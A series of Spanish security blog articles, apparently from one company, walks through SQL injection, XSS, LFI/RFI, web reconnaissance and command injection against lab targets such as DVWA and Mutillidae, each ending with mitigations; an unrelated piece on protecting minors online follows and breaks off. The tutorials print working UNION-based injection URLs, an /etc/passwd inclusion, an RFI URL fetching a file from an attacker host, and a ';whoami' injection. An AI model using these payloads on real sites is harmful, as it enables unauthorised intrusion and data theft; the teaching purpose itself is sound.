Este artículo es el último de la serie sobre vulnerabilidades en páginas Web. En artículos anteriores hemos visto las vulnerabilidades Command Injection, LFI (Local File Inlcusion) y RFI (Remote File Inclusion), XSS (Cross Site Scripting) y reconocimiento WEB. En el dedicado a la vulnerabilidad XSS, veíamos cómo los atacantes podían inyectar código malicioso usando JavaScript, que es un lenguaje del lado del cliente; por lo tanto, el código se ejecuta en el navegador del usuario. La vulnerabilidad que vamos a ver hoy también es de inyección de código, pero en este caso del lado del servidor, concretamente del servicio de base de datos sobre la que se almacena la información de la página Web. Si un atacante consigue acceso a esta base de datos, puede realizar acciones realmente peligrosas.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

CONTENIDOS

¿QUÉ ES SQL INJECTION?

¿CÓMO FUNCIONA SQL INJECTION?

EJEMPLO DE SQL INJECTION

SOLUCIÓN

CONCLUSIÓN

La explotación exitosa de una inyección SQL puede ser devastadora para una organización y es una de las vulnerabilidades de las aplicaciones web más comúnmente explotadas.

¿Qué es SQL Injection?

Ante la necesidad de usar contenido dinámico en las aplicaciones Web actuales, muchas dependen de una base de datos para almacenar datos que serán solicitados y procesados por la aplicación Web. Las aplicaciones Web realizan consultas sobre estas bases de datos para acceder a los datos almacenados en ellas, para realizar estas consultas se utiliza un lenguaje de consultas estructurado o SQL (Structured Query Language).

Para entenderlo mejor vamos a ver un ejemplo. Nos han hecho una página Web para nuestra empresa en la que tenemos una zona privada que para acceder es necesario introducir un nombre de usuario y una contraseña, esta página Web almacena los datos de inicio de sesión en una base de datos llamada “Empresa”.

La aplicación Web hará una consulta para extraer los datos de la base de datos para mostrarlos. Para realizar esta consulta se utilizará la instrucción SELECT. Con ella, una vez localizada la base de datos y tabla que le interesa, puede filtrar los datos para que muestre algunos registros, por ejemplo, los registros de la tabla Usuarios donde la columna id sea igual a 1. Para ello se usará también la cláusula WHERE. Así quedaría la instrucción:

• SELECT * from Usuarios WHERE id = 1;

Ahora que sabemos lo que es una consulta SQL vamos a ver como los atacantes utilizan SQL injection.

¿Cómo funciona SQL Injection?

Un ataque de Inyección SQL se produce cuando un valor en la solicitud del cliente se utiliza dentro de una consulta de SQL sin un saneamiento previo. Si como desarrolladores Web no hemos saneado el código y confiamos en los datos proporcionados por los usuarios, los atacantes pueden extraer información oculta de las bases de datos o tomar el control del servidor.

Por ejemplo, si la consulta anterior donde estábamos consultando el registro con el id 1 se realiza en una página Web para mostrar los datos de los usuarios, le indicamos que queremos que nos ordene la salida de los datos por la columna número 10.

Como vemos nos indica que la columna 10 es desconocida. La columna 10 es evidente que no existe ya que solo tenemos 4, pero a los atacantes les interesa saber cuál es el número de columnas que hay en tabla. Si lo ordenamos por 4 ya se nos muestran los datos:

El atacante una vez que sabe el número de columnas que tiene la tabla a la que estamos consultando va a hacer una consulta de 4 columnas uniéndola a la consulta actual mediante la cláusula UNION:

SELECT * from Usuarios where id = 1 UNION SELECT 1,2,3,4;– -;

Ahora por cada columna se nos ha agregado una etiqueta numérica. Nosotros como atacantes nos podremos aprovechar de estas etiquetas para poner sentencias de SQL y que nos las muestre. Por ejemplo, con database() sabremos qué base de datos está en uso por el servicio Web

SELECT * from Usuarios WHERE id = 1 UNION SELECT 1,database(),3,4;– -;

Mediante la unión de consultas hemos conseguido saber cuál es la base de datos que está en uso, mediante esta técnica podríamos extraer toda la información de todas las bases de datos alojadas en el servidor.

Ejemplo de SQL Injection

Este tipo de Inyección SQL la podemos considerar como Error-Based (basada en error). Nos vamos a aprovechar del propio error que se nos va a mostrar en la página Web para listar información privilegiada de la base de datos.

Tenemos un cuadro de texto de una página web en el que escribimos nuestro nombre de usuario y contraseña y al ejecutarlo nos aparecen los detalles de nuestra cuenta en la página. Para ello nos hemos creado antes una cuenta en esa aplicación web. El nombre de usuario es ‘extra’ y la contraseña ‘password123’

Vemos que la dirección Web o URL que se nos genera es la siguiente:

http://10.17.20.71/mutillidae/index.php?page=userinfo.php&username=extra&password=password123&user-info-php-submitbutton=View+Account+Details

Nosotros como atacantes podemos intuir que los parámetros username y password (que hemos destacado en negrita) forman parte del SELECT de la consulta que se le está haciendo a la base de datos. Como no sabemos el número de columnas que tiene y es necesario para usar la unión de consultas, vamos a ordenar por la columna número 10. Al reproducir la URL, vamos a destacar en rojo la parte del código que está inyectado, para mayor claridad. (Al final del código inyectado, hemos puesto un comentario de línea usando los siguientes caracteres (– -). Esto se utiliza para que el código inyectado no aplique a lo que va a continuación).

http://10.17.20.71/mutillidae/index.php?page=user-info.php&username=extra’ order by 10– –&password=password123&user-info-php-submitbutton=View+Account+Details

Vemos que nos aparece el mismo error que por consola donde nos indica que no existe esta columna y no puede ordenar por ella. Le hacemos la misma consulta, pero ordenando por 5 columnas y ya no nos devuelve el error por lo que sabemos que hay 5 columnas:

17.20.71/mutillidae/index.php?page=user-info.php&username=extra’order by 5– – &password=password123&user-info-php-submit-button=View+Account+Details

Ahora hacemos una unión con 5 columnas y vemos que nos las muestra poniendo los números debajo, en este caso las columnas visibles son la 2,3 y 4:

http://10.17.20.71/mutillidae/index.php?page=user-info.php&username=extra’ union select 1,2,3,4,5– –&password=password123&user-info-php-submitbutton=View+Account+Details

Ahora sabemos que si ponemos una función de SQL en los espacios donde tenemos los números 2,3 o 4 nos aparecerá por pantalla el resultado de esa función o instrucción. Para llevar a cabo el ataque, donde pone el 2 le ponemos la sentencia database() nos mostrará la base de datos que está actualmente en uso que es owasp10.

http://10.17.20.71/mutillidae/index.php?page=user-info.php&username=extra’ union select 1,database(),3,4,5– –&password=password123&user-info-php-submitbutton=View+Account+Details

De la misma forma podríamos poner la sentencia user() para que nos muestre el usuario que está corriendo el servicio:

También podríamos hacer más cosas como leer ficheros locales del equipo, extraer toda la información de la base de datos e incluso modificarla.

Solución

Muchas veces se intentan prevenir este tipo de vulnerabilidades usando filtros. Los filtros pueden hacer que parezca que no hay vulnerabilidades, pero son algo que el atacante puede saltarse.

Algunos programadores también usan una lista negra, por ejemplo, prohíben el uso de UNION, INSERT o sentencias del estilo. De nuevo esto no es 100% efectivo. Otros usan una lista blanca en vez de negra, ….

La mejor manera de evitar SQL Injection es programar la aplicación Web de manera que no permita hacerlas. Una forma sería crear una declaración parametrizada donde los datos y el código estén separados. Luego podemos usar los filtros como segunda línea de defensa. Y también es recomendable usar los menos privilegios posibles para el usuario y usar un usuario por cada base de datos.

Conclusión

En el artículo hemos visto la vulnerabilidad SQL Injection. Como hemos explicado, esta vulnerabilidad se aprovecha de las peticiones que hace la página o aplicación Web a su backend de base de datos.

En el ejemplo hemos visto una vulnerabilidad basada en error, pero hay otros tipos como las basadas en tiempo, en este caso la página Web no devuelve ningún error y se utilizan condiciones basadas en tiempo.

Como siempre, os hemos dejado finalmente unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

En artículos anteriores hemos visto las vulnerabilidades de Command Injection, como hacer un reconocimiento a una página Web y también las técnicas LFI (Local File Inclusion) y RFI (Remote File Inclusion). Hoy es el turno de uno de los tipos de vulnerabilidades más comunes, las conocidas como XSS (Cross-Site Scripting).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE XSS O CROSS SITE SCRIPTING REFLEJADO

EJEMPLO DE XSS O CROSS-SITE SCRIPTING PERSISTENTE

SOLUCIÓN PARA LA VULNERABILIDAD XSS

CONCLUSIÓN

¿Qué es?

Es una vulnerabilidad que permite a un atacante inyectar código JavaScript en una página de un sitio Web. Como JavaScript es un lenguaje que se ejecuta en el navegador del cliente, cuando ejecutamos este código lo estamos haciendo en el cliente del usuario. El sitio Web solo hace de herramienta para ejecutar código hacia los usuarios que navegan por él.

Hay varios tipos de vulnerabilidades XSS diferenciadas, los más conocidos son los siguientes:

• XSS Persistente o almacenado: se almacena en la base de datos. Por lo tanto, el código que insertemos se almacenará en la base de datos o en la página, de modo que cada vez que una persona vea esa página se ejecutará el código.
• XSS Reflejado: el código solo se ejecutará cuando el usuario objetivo ejecute una URL específica creada o escrita por el atacante. El atacante manipulará una URL que le enviará a su objetivo y cuando el objetivo ejecute o abra esa URL se le ejecutará el código.

Ejemplo de XSS o Cross Site Scripting Reflejado

Tenemos la siguiente página Web donde tenemos un cuadro de texto en el que escribimos nuestro nombre y al ejecutarlo nos aparece escrito en la página la palabra “hello” y el texto que hemos introducido en el formulario.

http://10.0.2.4/dvwa/vulnerabilities/xss_r/

Si escribimos nuestro nombre y pulsamos en Submit podemos ver el resultado:

Si vemos la URL resultante podemos comprobar que es un GET, por lo tanto, también podría ser inyectable, al igual que podría serlo el cuadro de texto:

Para comprobar si la Web puede ser vulnerable a XSS vamos a intentar ejecutar código a través del formulario. Lo vamos a hacer usando la etiqueta <script>, que indica que el contenido dentro de esta etiqueta es código JavaScript. En este caso probamos a incluir la función alert que nos muestra en un mensaje por pantalla el texto que le pasemos como parámetro. El texto que le pasamos es XSS.

El código que vamos a introducir quedará de esta forma:

<script>alert(‘XSS’)</script>

Cuando pulsamos en Submit vemos que nuestro código se ejecuta. Sabemos que la página Web es vulnerable a XSS porque está interpretando el código que le estamos pasando:

Si echamos un vistazo a la URL vemos que podemos hacer lo mismo en ella a través del parámetro “name”:

Si ahora enviamos esa URL a un tercero, se ejecutará en su navegador el código JavaScript que hayamos puesto.

Con el código del ejemplo no correríamos ningún riesgo, pero existen códigos más peligrosos. Utilizados conjuntamente con herramientas específicas, nos pueden llegar a realizar un secuestro del navegador y como resultado ser víctimas de ataques más peligrosos.

Ejemplo de XSS o Cross-Site Scripting Persistente

En el XSS almacenado o persistente el código se almacenará en la base de datos o en la página Web. Por tanto, cada vez que una persona acceda a esa página se le ejecutará el código en su navegador. Como no necesitamos interactuar con los usuarios o enviarles nada, es más peligroso que el XSS Reflejado.

Vamos a ver un ejemplo:

Esta página que se muestra aquí nos permite escribir un mensaje o una reseña que acabará reflejada en la misma página, puede ser una reseña de un producto o un mensaje en un foro:

Rellenamos el formulario con un simple comentario y vemos que nos lo muestra:

Ahora cada persona que visite esta página verá el comentario. Entonces si conseguimos insertar código JavaScript se ejecutará a cada persona que se conecte. Volvemos a rellenar el formulario pero esta vez en el cuerpo del mensaje pondremos un código JavaScript con una función alert()

Lo agregamos y vemos que cada vez que se visita la página se ejecuta el código:

Solución para la vulnerabilidad XSS

La forma en que ocurren estas vulnerabilidades es porque cada vez que un usuario ingresa algo en un cuadro de texto (textbox) o en un parámetro, esa entrada se muestra en el HTML. Dado que trata como si fuera una parte de la página, si contiene JavaScript, el código será ejecutado.

Para evitar esta vulnerabilidad, lo mejor que podemos hacer es intentar minimizar el uso de entradas no confiables. Tenemos que asegurarnos que el código que nos intenten inyectar se convierta a un equivalente de string en HTML y no se ejecute.

Un ejemplo de equivalencias a string o cadena de caracteres de algunos de los caracteres usados para inyectar código es el siguiente:

Como usuario, para evitar ser víctima en un ataque de tipo XSS, hay que tener cuidado de no caer en un engaño de este tipo. Si una página nos notifica que necesitamos una actualización, hay que verificar si es cierto en la página oficial del producto.

Siempre hay que tener cuidado con las notificaciones emergentes que nos dicen que tenemos que realizar acciones. Lo prudente es no confiar en ellas.

Conclusión

En el artículo hemos visto la vulnerabilidad XSS o Cross-site Scripting, que es una de las más comunes. Como hemos explicado, esta vulnerabilidad no afecta tanto a la Web o el servidor donde está alojada, sino que sirve de vínculo para llegar a los usuarios que la visitan, que son las verdaderas víctimas.

Si nos llegan a realizar un secuestro del navegador mediante esta técnica, el atacante puede usar estrategias de ingeniería social. De este modo, nos hará creer que es necesario instalar una extensión o plugin de navegador, o bien actualizar uno que haya caducado. El objetivo es instalarnos algún programa espía o software que le permita controlar nuestro equipo.

Finalmente, hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

Siguiendo con la serie de artículos de vulnerabilidades en páginas Web, dónde ya hemos visto la vulnerabilidad de Command Injection y el Reconocimiento Web, hoy vamos a ver en qué consisten las vulnerabilidades LFI (Local File Inclusion) y RFI (Remote File Inclusion).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE LOCAL FILE INCLUSION

EJEMPLO DE REMOTE FILE INCLUSION

SOLUCIÓN

CONCLUSIÓN

¿Qué es?

Las vulnerabilidades LFI (Local File Inclusion o inclusión de archivos locales) son vulnerabilidades que permiten leer cualquier archivo que se encuentre dentro del mismo servidor, incluso si el archivo se encuentra fuera del directorio web donde está alojada la página.

Las vulnerabilidades RFI (Remote File Inlcusion o inclusión de archivos remotos) son similares a las vulnerabilidades LFI, pero en este caso en vez de acceder a un archivo local, accederemos a un archivo ubicado en un servidor diferente.

Vamos a ver un ejemplo de cada una de ellas para entenderlas mejor.

Ejemplo de LFI (Local File Inclusion)

Tenemos una web con una página principal llamada index.php (elaborada en PHP), que carga el contenido de otras páginas, las cuales le pasamos mediante un parámetro a la URL. La idea es que se va a mostrar por pantalla un archivo que estamos referenciando desde la variable $page que se almacenará en la variable $pagina y a la función include le pasaremos la variable $pagina para que nos la cargue y muestre por pantalla:

A continuación, creamos las dos páginas que vamos a incluir, primero una página de inicio llamada inicio.html con el siguiente contenido:

Y una página de contacto, llamada contacto.html, con el siguiente contenido:

Ahora cargamos la página de inicio en nuestro navegador mediante la siguiente URL:

http://127.0.0.1/web/index.php?page=inicio.html

Si ahora pulsamos sobre el enlace Contacto, nos carga la página contacto.html

Si nos fijamos, nos carga la página que le pasamos como valor a la variable page. En este caso, como atacantes podemos pensar que es muy posible que esta Web sea vulnerable a LFI y podemos acceder a ficheros locales que estén fuera del directorio Web.

Por ejemplo, supongamos que hemos realizado un reconocimiento Web de la página y sabemos que el servidor donde está alojada es un equipo Linux. Nosotros sabemos que, en Linux, dentro del fichero /etc/passwd se guarda la lista de los usuarios locales del sistema. Vamos a ver qué pasa si modificamos la URL y en vez de pasarle a la variable $page los ficheros inicio.html y contacto.html, que están dentro del directorio de la Web, le pasamos el fichero del equipo /etc/passwd que está fuera de este directorio. La URL sería la siguiente:

http://127.0.0.1/web/index.php?page=/etc/passwd

Vemos como hemos conseguido cargar este fichero y por lo tanto la Web es vulnerable a LFI:

Ejemplo de RFI (Remote File Inclusion)

En este caso la vulnerabilidad sería igual, pero cargando el fichero desde otro servidor. Esta vez la técnica se vuelve más peligrosa debido a que, como atacantes, podemos levantar un servidor Web y hacer que se ejecute en el equipo víctima un fichero que hemos alojado en este servidor, de forma que nos permita ganar acceso al equipo donde está alojada la Web.

Un ejemplo de la URL que se puede usar sería la siguiente:

http://127.0.0.1/web/index.php?page=http://direccion_equipo_atacante/fichero_malicioso

Solución

Para solucionar este tipo de vulnerabilidades nos tenemos que asegurar de que no se puedan incluir archivos remotos, esto lo podemos hacer en el servidor Web deshabilitando en el fichero de configuración de PHP llamado php.ini los parámetros allow_url_fopen y allow_url_include.

• allow_url_fopen: Permite tratar las URLs como archivos. Si está habilitada tendremos una vulnerabilidad LFI.
• allow_url_include: Permite hacer llamadas include/require a URLs como archivos. Si está habilitada junto con la anterior tendremos una vulnerabilidad LFI y RFI.

También tendremos que evitar que el código pueda incluir una variable para cargar una página. El código que hemos venido usando se vería así:

De esta manera, el usuario podrá jugar con la variable $page y cargar páginas. Lo que debemos hacer es poner en el include directamente la página que queremos cargar sin incluir una variable con GET o POST:

En sistemas gestores de contenidos o CMS siempre es importante mantener el propio CMS y los plugins o componentes actualizados para corregir las vulnerabilidades corregidas por el fabricante.

Conclusión

Como hemos visto, tanto el LFI como el RFI son vulnerabilidades muy peligrosas que ponen en riesgo la integridad de nuestra página Web e incluso pueden llegar a comprometer por completo nuestro servidor Web. Dependiendo de donde esté alojado, pueden incluso acceder a otras redes internas que no están expuestas directamente a Internet.

Finalmente, en el apartado Solución os hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

En el artículo anterior vimos cómo son las vulnerabilidades que aprovecha la técnica de Command Injection, en el ejemplo dijimos que el equipo donde estaba alojada la Web era un equipo Linux, pero… ¿Cómo podemos saber si el equipo donde está alojada o almacenada una Web es Linux, Windows u otro? Ahí es donde entra en juego una de las técnicas más importantes que un ciberdelicuente lleva a cabo, el Reconocimiento Web.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software

CONTENIDOS

¿QUÉ ES?
EJEMPLO DE RECONOCIMIENTO WEB
RECONOCIMIENTO WEB SOBRE GESTORES DE CONTENIDOS
EJEMPLO DE RECONOCIMIENTO CON USO DE FUERZA BRUTA
SOLUCIÓN O MITIGACIÓN ANTE LAS TÉCNICAS DE RECONOCIMIENTO WEB
CONCLUSIÓN

¿Qué es?

El reconocimiento es una serie de técnicas que se realizan para recabar información sobre la víctima: página Web, sistema operativo, fuga de datos, datos públicos, etc.

Esta fase de reconocimiento es imprescindible para el atacante ya que le brinda información que le puede servir para realizar un ataque más efectivo.

En el artículo nos centraremos en el reconocimiento de la página Web.

Ejemplo de reconocimiento Web

Siguiendo con el ejemplo del artículo anterior, sabemos que nuestro objetivo tiene una página Web, en este punto al atacante le interesaría obtener información sobre la tecnología con la que se ha realizado la Web, bajo que servidor está corriendo o que lenguaje de programación se ha utilizado.

Hay herramientas que nos pueden ayudar a extraer la mayoría de la información que hemos mencionado. Una de estas herramientas es WHATWEB.

Ejecutamos la herramienta WHATWEB y vemos en la siguiente imagen la información que es capaz de obtener:

• Servidor Web sobre el que está corriendo la página y su versión: Apache 2.2.8
• Sistema operativo del equipo donde está almacenada la página: Linux Ubuntu
• Versión del lenguaje de programación PHP en el que está desarrollada la página: 5.2.4

Nosotros ahora como atacantes podríamos hacer una simple búsqueda en Google para encontrar posibles vulnerabilidades relacionadas con la información que hemos obtenido, por ejemplo, vulnerabilidades que puedan afectar al servidor Web Apache 2.2.8.

También existen plugins para el navegador que nos permiten realizar este primer reconocimiento. Uno de los más conocidos es Wappalyzer que lo podemos instalar tanto en Chrome como en Firefox. Vemos un ejemplo de la información extraida con Wappalyzer en la siguiente imagen.

Reconocimiento Web sobre Gestores de Contenidos

Si descubrimos que nuestra Web está realizada mediante un CMS o gestor de contenidos como puede ser WordPress, Joomla o Drupal, podemos usar herramientas ya existentes para realizar una enumeración sobre ellos.

Por ejemplo, en cuanto a WordPress la herramienta más conocida es WPScan, para Joomla tenemos Joomscan y para Drupal, Drupscan.

Centrándonos en WordPress por ser el CMS más usado, la herramienta WPScan nos permitiría entre otras cosas:

• Hacer fuerza bruta contra el login de WordPress mediante usuarios y/o contraseñas aleatorios.
• Enumerar todos los plugins que tenga vulnerables el gestor de contenidos.
• Enumerar los usuarios existentes.
• Obtener información sobre la Web.

Es importante saber que, aunque el gestor de contenidos esté actualizado podemos encontrar una vulnerabilidad en alguno de los plugins instalados e igualmente comprometer la página Web.

Un ejemplo de uso de WPScan sería el siguiente:

• wpscan –url http://www.dominio.com -e vp,u
  • Con –url le indicamos la dirección de la página Web que queremos auditar
  • Con -e le indicamos que nos enumere la información de la página, en este caso le estamos indicando que nos enumere los plugins vulnerables con vn (vulnerable plugins) y los usuarios con u (users)

Como hemos visto, cada gestor de contenidos se puede enumerar con herramientas que atienden a estos gestores de contenidos, luego también existen herramientas genéricas que nos pueden servir para enumerar cualquier página Web, como por ejemplo Nikto, que es un escáner de vulnerabilidades Web que podemos usar contra cualquier tipo de página.

Ejemplo de reconocimiento con uso de fuerza bruta

Otra táctica en la enumeración o reconocimiento de la página Web es hacer fuerza bruta sobre los archivos o directorios de la página para intentar descubrir directorios o ficheros ocultos. A esta técnica se le conoce como Fuzing

Por ejemplo, sabemos que nuestra página es accesible a través de la URL http://10.0.2.4/dvwa/, detrás de esa URL pueden existir directorios que no están enlazados desde la propia página, pero si los conoces puedas llegar a ellos.

Un ejemplo lo tenemos en las páginas realizadas con WordPress que tienen un directorio para acceder al panel de administración de la página localizado en http://www.dominio.com/wp-admin/.

Para intentar descubrir estos directorios ocultos se utiliza un fichero llamado comúnmente diccionario, donde por cada línea hay una serie de nombres de directorios que les podemos pasar a una herramienta o incluso a un script hecho por nosotros y que vaya probando si existen cada uno de esos directorios y que nos reporte por pantalla o en un fichero los que encuentre.

Por ejemplo, tenemos un diccionario con 220.560 nombres de directorio, un ejemplo de una parte del diccionario sería el siguiente:

Podemos ver como se han descubierto varios directorios o ficheros que pueden tener información sensible o acceso hasta una zona privada.

En el ejemplo hemos usado la herramienta WFUZZ, esta herramienta nos permite realizar el descubrimiento de ficheros o directorios ocultos (entre otras cosas) en la Web objetivo

Solución o mitigación ante las técnicas de reconocimiento Web

Hay distintas técnicas que podemos usar para ocultar la información que puede mostrar nuestra página Web, tanto del servidor que estemos usando como de las tecnologías que usamos para crearla. En los distintos gestores de contenidos también nos encontramos plugins o componentes que realizan esta función de ocultamiento.

Aunque tenemos que intentar mostrar la menor información posible, la única solución válida para evitar que nuestra web sea comprometida es tener todos los sistemas, servicios y componentes actualizados a la última versión. Si lo que tenemos es un CMS, no añadir ningún plugin que no sea completamente necesario, no instalar aquellos que no provengan de fuentes oficiales o que no tengan una política de actualizaciones frecuente. No importa si nuestro WordPress está actualizado a la última versión, si luego tenemos un plugin que no está actualizado y tiene alguna vulnerabilidad que pueda ser aprovechada.

También debemos asegurarnos que tanto la información privada como los accesos a paneles de información estén debidamente protegidos. Si es posible que los paneles de login para la administración de la Web no sean accesibles directamente.

Conclusión

Como hemos visto, existen varias técnicas de reconocimiento Web primero nos hemos centrado en las versiones tanto del servidor como de las tecnologías usadas para su desarrollo y posteriormente en recabar datos ocultos de la página. Todas estas técnicas son usadas por los atacantes en las fases previas de un ataque, la información recopilada aquí le será imprescindible para las fases posteriores del ataque y para conocer a la compañía.

En próximas publicaciones, veremos más ejemplos de técnicas en las que los atacantes utilizan vulnerabilidades en las paginas web a su favor y cómo protegernos de ellas.

Este artículo forma parte de una serie donde veremos distintas vulnerabilidades que nos podemos encontrar en nuestra página Web. Vamos a ver como un ciberdelincuente es capaz de explotarlas y conseguir su objetivo y también veremos unas pautas que podemos seguir para corregir la vulnerabilidad. En esta ocasión vamos a ver en qué consisten las vulnerabilidades de ejecución de código o ejecución de comandos a través de páginas Web, más conocidas como Command Injection.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

¿Qué es?

Las vulnerabilidades de Command Injection permiten ejecutar código arbitrario o no controlado por el desarrollador en el sistema operativo donde está almacenada la Web.

Ejemplo de Command Injection

A continuación, vamos a ver paso a paso cómo hacernos con el servidor que está detrás de una página web publicada aprovechando uno de los servicios que da.

En ocasiones hay Webs que permiten ejecutar un comando o una herramienta a través de ellas. Por ejemplo, nos encontramos con la siguiente web que permite hacer un ping a la dirección que pongamos en el recuadro de texto del formulario.

La herramienta Ping nos permite, indicando una dirección IP o un nombre de dominio como Facebook.com, saber si es accesible o no. Esto lo hace enviando un paquete de información desde el equipo origen mediante el protocolo ICMP y espera una contestación del equipo destino.

Si nosotros ponemos el dominio Facebook.com en el recuadro y pulsamos en el botón de enviar (submit). Vemos que se envían una serie de paquetes y se obtiene una respuesta

Este comando realmente se está ejecutando en el equipo donde está almacenada la página Web, nosotros sabemos previamente que la Web está almacenada en un equipo Linux y que la salida del comando ping que se ha ejecutado corresponde con la salida que se espera obtener en un equipo Linux. Hacemos la misma prueba y verificamos que es la misma salida. Por lo tanto, el formulario web le está pasando al comando ping lo que nosotros pongamos en el campo de texto, en este caso facebook.com.

Sabemos que en Linux podemos concatenar varios comandos separándolos por punto y coma (;). Por lo tanto, si a la misma línea del comando ping anterior le añadimos un comando que nos identifique el usuario con el que se está interactuando en la consola nos mostrará la salida de los dos comandos. En este caso el comando que podemos usar es whoami.

Vemos que después de la salida del comando ping nos muestra la salida del comando whoami que es root (Es decir, root es el usuario superadministrador de Linux y con el que estoy ejecutando estos comandos)

Siguiendo este mismo proceso y sabiendo que la Web está ejecutando el comando Ping y coge el valor que le pasemos nosotros mediante el formulario de texto, intentamos hacer la misma concatenación de comandos que habíamos probado en la máquina Linux. Le pasamos primero el dominio Facebook.com como valor del comando ping, seguido del punto y coma (;) y el comando whoami:

Si esto lo ejecutamos, podemos ver que nos muestra el usuario que está ejecutando los comandos a través del servicio Web, que es www-data

En este momento sabemos que la página Web es vulnerable a una ejecución de comandos. Podemos ejecutar cualquier comando después del ping y nos lo va a ejecutar en el servidor web que aloja la página. Los ciberdelincuentes pueden utilizar esta vulnerabilidad para ganar acceso a la máquina donde está alojada la Web o modificar la Web en su propio beneficio.

Una vez que tengan acceso a la máquina pueden intentar acceder a otras máquinas dentro de la misma red o pivotar hacía otras redes internas a las que desde el exterior no se tenga acceso.

Una vez que se tenga ejecución de comandos, básicamente el servidor está comprometido al 100%

Solución para el Command Injection

Hay que evitar el uso de funciones o el paso de valores a las funciones que permitan a un usuario ejecutar código en el servidor.

En el ejemplo que hemos visto seguramente el comando se guarde en una variable tipo $comando y luego se imprime por pantalla su valor.

Esto no se debería hacer así, tenemos que verificar que la entrada es lo que se espera. En este caso se espera una dirección IP y nada más. Por lo que podemos usar expresiones regulares para validar el valor a introducir. Por ejemplo, podríamos validar que solo acepte 4 dígitos separamos por un punto, que no acepte punto y coma (;), que no acepte otros valores de concatenación como & o | y que no acepte espacios. Otra forma es crear una expresión regular únicamente con los valores válidos a introducir.

Esto son formas de hacerlo más seguras, pero lo mejor es evitar este tipo de funciones.

Las vulnerabilidades de este tipo se pueden dar también en los gestores de contenidos CMS, a veces son desconocidos incluso por el propio fabricante (vulnerabilidades Zero Day). Por tanto, es importante, cuanto menos, mantener el propio CMS y los plugins o componentes actualizados para corregir las vulnerabilidades que ya ha conseguido corregir el fabricante.

En este artículo hemos explicado cómo funciona el ataque llamado Command Injection o ejecución de código. Es el primero de una serie sobre vulnerabilidades en las páginas web, que continuaremos el mes que viene con la técnica del Reconocimiento Web. Esperamos seguir contando con tu interés.

Cada vez más, la seguridad de los menores en las redes sociales está en peligro por malas prácticas como el sexting o el stalking (luego veremos en qué consisten). En concreto, los adolescentes son un blanco fácil al acceder ya a dispositivos electrónicos con internet, tener una autoestima frágil y dar mucha importancia a la reputación social. Junto a conductas claramente de riesgo como las mencionadas, hay otras aparentemente más inocentes como compartir información personal o no usar buenas prácticas de contraseñas, que pueden provocar ciberdelitos. Te contamos cómo proteger a los menores del acoso en redes sociales e internet.

Partimos de una evidencia: la mayoría de los adolescentes, e incluso los pre-adolescentes, disponen actualmente de teléfono móvil en España. Además, si bien la normativa europea RGPD, permite establecer entre los 13 y los 16 años la edad para dar el consentimiento de uso de datos personales, en España está fijada desde 2018 en los 14 años. Para edades inferiores, son los padres los que tienen que dar el consentimiento en su nombre. Por tanto, salvo alguna excepción (como LinkedIn o WhatsApp, que establecen el límite en los 16 años –en la segunda no se respeta mucho-), los adolescentes pueden darse de alta en redes sociales libremente desde los 14 años. Esto quiere decir que están expuestos a riesgos altos, dado que en estas redes se comparte información personal –cuando no sensible- con relativa frecuencia.

Los casos más graves de acoso en redes sociales

El sexting consiste en enviar fotos, vídeos o mensajes de contenido sexual o erótico personal a través de redes de mensajería instantánea o redes sociales. El sexting no es constitutivo de delito en sí mismo, pero sí el reenvío de esa información sin consentimiento.

El sexting es una práctica muy peligrosa para los adolescentes

El stalking consiste en realizar acciones aparentemente legales (llamadas, envío de regalos de algún tipo, mensajes de texto, correos, imágenes o vídeos) pero que son indeseadas por la víctima, y hacerlo repetidas veces. El hecho de que sea indeseado y que se repita, hace que constituya acoso.

Un caso específico es el cyberbulling, un acoso entre iguales en el entorno tecnologías de la comunicación (abarcando también las redes sociales), e incluye actuaciones de chantaje, vejaciones e insultos de menores de edad a otros menores.

El grooming es la simulación por parte de un adulto para que un menor le perciba como otro menor para obtener de él información personal sensible o aquella que permita una acción delictiva.

Este tipo de acciones son cuanto menos peligrosas para el menor y en su mayoría dañinas, por lo que deben evitarse con una adecuada formación y acompañándoles en el uso que hace de las redes sociales. Debemos tener en cuenta que las medidas de control que vamos a ver a continuación no impiden nunca del todo el peligro, y lo más importante es que el menor sepa diferenciar lo que va a suponer un riesgo para él y actuar adecuadamente en esas situaciones.

Recomendaciones de ciberseguridad para padres y tutores

Los padres y tutores son los primeros que deben tener claro las medidas de ciberseguridad básicas que deben adoptar. Entre las medidas de control para evitar el acoso en redes sociales.

• Los dispositivos que no sean de uso para menores deben tener contraseña cifrada. Los recursos que se encuentren en ordenadores compartidos a los que no deban acceder menores deben estar protegidos por un doble factor de autenticación.
• Los dispositivos que sean de uso para menores no deben tener preinstaladas aplicaciones o apps que ellos no deban usar. Debemos tener en cuenta que, en el caso de las redes sociales, aunque las compañías establezcan una edad mínima para darse de alta una cuenta, en la mayoría de los casos no establecen ninguna medida para comprobar si el usuario es un menor. Si este decide falsear los datos, podrá darse de alta igualmente.
• Los adultos deben ajustar también en los dispositivos de los menores las opciones de control parental de los navegadores y configurar las opciones de los buscadores que restringen resultados para adultos.
• En los dispositivos móviles, son muy recomendables funciones como el “Modo Niños”. Estas funciones restringen mediante control parental el tiempo de juego diario o las aplicaciones y contactos a los que los niños pueden acceder.

No debemos dejar nuestro móvil a un menor sin prestar atención a lo que hace en él

Las medidas que padres y tutores pueden adoptar a nivel formativo son:

• Mostrar su disponibilidad para los menores para hablar en todo momento y estar alerta ante cualquier comportamiento fuera de lo común de los mismos, que podría evidenciar que están siendo acosados o extorsionados.
• Facilitar el acceso de los menores a foros saludables en que puedan compartir sus problemas y recibir orientación sobre cómo comportarse.
• Proporcionar a los menores las orientaciones de ciberseguridad que damos en el punto siguiente.

Orientaciones de ciberseguridad para menores

